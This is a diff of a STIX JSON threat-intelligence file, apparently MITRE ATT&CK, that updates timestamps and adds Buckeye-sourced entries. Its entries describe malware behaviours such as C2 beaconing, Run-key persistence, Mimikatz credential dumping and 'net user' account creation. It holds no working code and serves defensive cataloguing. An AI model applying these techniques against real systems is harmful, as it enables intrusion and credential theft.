             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44740,7 +53377,7 @@
             "id": "relationship--5c84d301-b6d1-4af8-9c25-1260e05fa924",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind has a command to return a directory listing for a specified directory.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44761,7 +53398,7 @@
             "id": "relationship--1782bb6e-7a06-4dfb-96f5-dd671d8a02d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind uses batch scripts for various purposes, including to restart and uninstall itself.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44782,7 +53419,7 @@
             "id": "relationship--761edf58-baad-4626-acca-a137c251b0e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind can delete itself or specified files.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44803,7 +53440,7 @@
             "id": "relationship--a713d0d3-2897-4da2-995f-df3a40f04b29",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE will attempt to detect if the infected host is configured to a proxy. If so, NETEAGLE will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
@@ -44824,7 +53461,7 @@
             "id": "relationship--61827309-9071-416b-aedf-7f82f224db2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE will attempt to detect if the infected host is configured to a proxy. If so, NETEAGLE will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000. NETEAGLE will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2. Adversaries can also use NETEAGLE to establish an RDP connection with a controller over TCP/7519.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
@@ -44845,7 +53482,7 @@
             "id": "relationship--b41abaa3-a21f-4d2c-9c60-c90c4f360b00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If NETEAGLE does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, NETEAGLE will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
@@ -44866,7 +53503,7 @@
             "id": "relationship--122e6f20-ab3b-4bf0-bef1-0372399bee7c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE will decrypt resources it downloads with HTTP requests by using RC4 with the key \"ScoutEagle.\"",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
@@ -44887,7 +53524,7 @@
             "id": "relationship--5bb94c21-96c6-4c71-ae46-b222a69a493a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
@@ -44908,7 +53545,7 @@
             "id": "relationship--84fcda4b-e58e-4ecd-8366-77d464e043ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE allows adversaries to execute shell commands on the infected host.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
@@ -44929,7 +53566,7 @@
             "id": "relationship--16043223-3846-4138-93d0-671339ba3646",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE can send process listings over the C2 channel.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
@@ -44950,7 +53587,7 @@
             "id": "relationship--617fe29d-ac48-4cd0-ae8c-19cf7cfdbedd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The \"SCOUT\" variant of NETEAGLE achieves persistence by adding itself to the <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code> Registry key.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
@@ -44971,7 +53608,7 @@
             "id": "relationship--3565539f-7ebf-4288-8422-5212c774821b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE is capable of reading files over the C2 channel.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
@@ -44992,7 +53629,7 @@
             "id": "relationship--e89d06bc-31f3-49c0-a555-360eeff7f7c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Net Crawler uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement.",
             "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
@@ -45013,7 +53650,7 @@
             "id": "relationship--9453d60b-4f3f-494f-985d-e29094ef8945",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Net Crawler uses PsExec to perform remote service manipulation to execute a copy of itself as part of lateral movement.",
             "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
@@ -45034,7 +53671,7 @@
             "id": "relationship--a8e6ca7b-5d75-429a-b8f8-de97d5c277b3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Net Crawler uses credential dumpers such as Mimikatz and Windows Credential Editor to extract cached credentials from Windows systems.",
             "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
@@ -45055,7 +53692,7 @@
             "id": "relationship--2355c588-ff82-4eaf-82db-54af59ede582",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Net Crawler uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network.",
             "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
@@ -45076,7 +53713,7 @@
             "id": "relationship--31ec568c-53c7-4dfb-8bfb-bfb7addca7ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Commands such as <code>net view</code> can be used in Net to gather information about available remote systems.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -45097,7 +53734,7 @@
             "id": "relationship--4c94f67d-6662-44ea-be75-ded8b2dbfa00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Commands such as <code>net use</code> and <code>net session</code> can be used in Net to gather information about network connections from a particular host.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -45118,7 +53755,7 @@
             "id": "relationship--15f74597-d92d-406f-9941-c0dfef3cb609",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Commands under <code>net user</code> can be used in Net to gather information about and manipulate user accounts.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -45139,7 +53776,7 @@
             "id": "relationship--75f7d0e0-b1e9-4289-8895-d8a262930523",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Commands such as <code>net group</code> and <code>net localgroup</code> can be used in Net to gather information about and manipulate groups.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -45160,7 +53797,7 @@
             "id": "relationship--1d36c3e8-238f-46c6-9b20-9fb4cb5c75ba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The <code>net start</code> command can be used in Net to find information about Windows services.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -45181,7 +53818,7 @@
             "id": "relationship--a2423ac3-94b4-4936-962b-06562115cb70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lateral movement can be done with Net through <code>net use</code> commands to connect to the  on remote systems.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -45202,7 +53839,7 @@
             "id": "relationship--5fc0ca38-bb65-43ab-b8b2-6861442b25a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The <code>net start</code> and <code>net stop</code> commands can be used in Net to execute or stop Windows services.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -45223,7 +53860,7 @@
             "id": "relationship--12455fe5-42dd-420e-839e-8a96886488f7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The <code>net time</code> command can be used in Net to determine the local or remote system time.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -45244,7 +53881,7 @@
             "id": "relationship--4e167937-d152-4c57-a7b7-e3b407470720",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The <code>net use \\\\system\\share /delete</code> command can be used in Net to remove an established connection to a network share.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -45265,7 +53902,7 @@
             "id": "relationship--3b5d1788-c59b-4e84-97b0-b109df608619",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The <code>net view \\\\remotesystem</code> and <code>net share</code> commands in Net can be used to find shared drives and directories on remote and local systems respectively.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -45286,7 +53923,7 @@
             "id": "relationship--7185fe1c-1565-4175-bc7e-539ff704f4cb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The <code>net user username \\password</code> and <code>net user username \\password \\domain</code> commands in Net can be used to create a local or domain account respectively.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -45307,7 +53944,7 @@
             "id": "relationship--2be17426-9704-4913-981b-6d8fe4471147",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NetTraveler contains a keylogger.",
             "source_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e",
@@ -45328,7 +53965,7 @@
             "id": "relationship--10c6cc56-a028-4c2a-b24e-38d97fb4ebb7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NetTraveler reports window names along with keylogger information to provide application context.",
             "source_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e",
@@ -45349,7 +53986,7 @@
             "id": "relationship--d72da887-5684-47ac-958a-84b3e8b59c0b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Nidiran communicates with its C2 domain over ports 443 and 8443.",
             "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
@@ -45370,7 +54007,7 @@
             "id": "relationship--7b5919ce-efab-45d1-855b-f827d7489b2b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Nidiran uses RC4 to encrypt C2 traffic.",
             "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
@@ -45391,7 +54028,7 @@
             "id": "relationship--fa2c0697-0d47-4ee9-b5bf-845ac3453c3a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Nidiran can create a new service named msamger (Microsoft Security Accounts Manager).",
             "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
@@ -45412,7 +54049,7 @@
             "id": "relationship--438cae9c-cb03-4db9-ae59-24ed27147725",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Nidiran can download and execute files.",
             "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
@@ -45433,7 +54070,7 @@
             "id": "relationship--9b1709f3-5062-42f1-82d9-191e66e1d14a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Nidiran can create a new service named msamger (Microsoft Security Accounts Manager), which mimics the legitimate Microsoft database by the same name.",
             "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
@@ -45459,7 +54096,7 @@
             "id": "relationship--695c2f41-140a-48f9-9e14-0cd58d7712d1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OLDBAIT collects credentials from Internet Explorer, Mozilla Firefox, Eudora, and several email clients.",
             "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
@@ -45480,7 +54117,7 @@
             "id": "relationship--3a241a6c-11ee-4abc-a551-b5d4e594aad4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OLDBAIT installs itself in <code>%ALLUSERPROFILE%\\\\Application Data\\Microsoft\\MediaPlayer\\updatewindws.exe</code>; the directory name is missing a space and the file name is missing the letter \"o.\"",
             "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
@@ -45501,7 +54138,7 @@
             "id": "relationship--8e82a523-fc73-4f3b-98dc-3b1e7199cd93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OLDBAIT obfuscates internal strings and unpacks them at startup.",
             "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
@@ -45522,7 +54159,7 @@
             "id": "relationship--cc065036-1b46-4f5c-935e-fb80bd3de7c7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OLDBAIT can use HTTP or SMTP for C2.",
             "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
@@ -45538,12 +54175,180 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--d8a5e73d-fe56-42d7-a53d-09a90c21308b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "discovers the current domain information .",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--7507eb37-407e-4428-b29f-da0bda3f7970",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "discovers information about the infected machine .",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--60198640-1e5a-4b8e-9a69-5f275f7e0e68",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "queries the registry to look for information about Terminal Services .",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--8336111f-565e-4294-8b18-182c26da2421",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "enumerates the current network connections similar to <code> net use </code> .",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d07f2da6-6497-414f-96c1-9dd60155b169",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "discovers shares on the network ",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--8765dd7e-33cc-4040-927d-bf0aa16d3d79",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "performs a connection test to discover remote systems in the network ",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--ab109b93-76a9-46da-8934-58751125fd1e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "enumerates local and domain users ",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--bc85f8f4-5d65-484c-af82-6adbe42083d9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "specifically looks for Domain Admins, Power Users, and the Administrators groups within the domain and locally ",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--b4228f64-bc0c-47a5-a3d8-d9aabdf66bfc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OnionDuke uses HTTP and HTTPS for C2.",
             "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
@@ -45564,7 +54369,7 @@
             "id": "relationship--6b39985b-2e2f-4d54-9211-aef4d94b318f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OnionDuke uses Twitter as a backup C2 method. It also has a module designed to post messages to the Russian VKontakte social media site.",
             "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
@@ -45585,7 +54390,7 @@
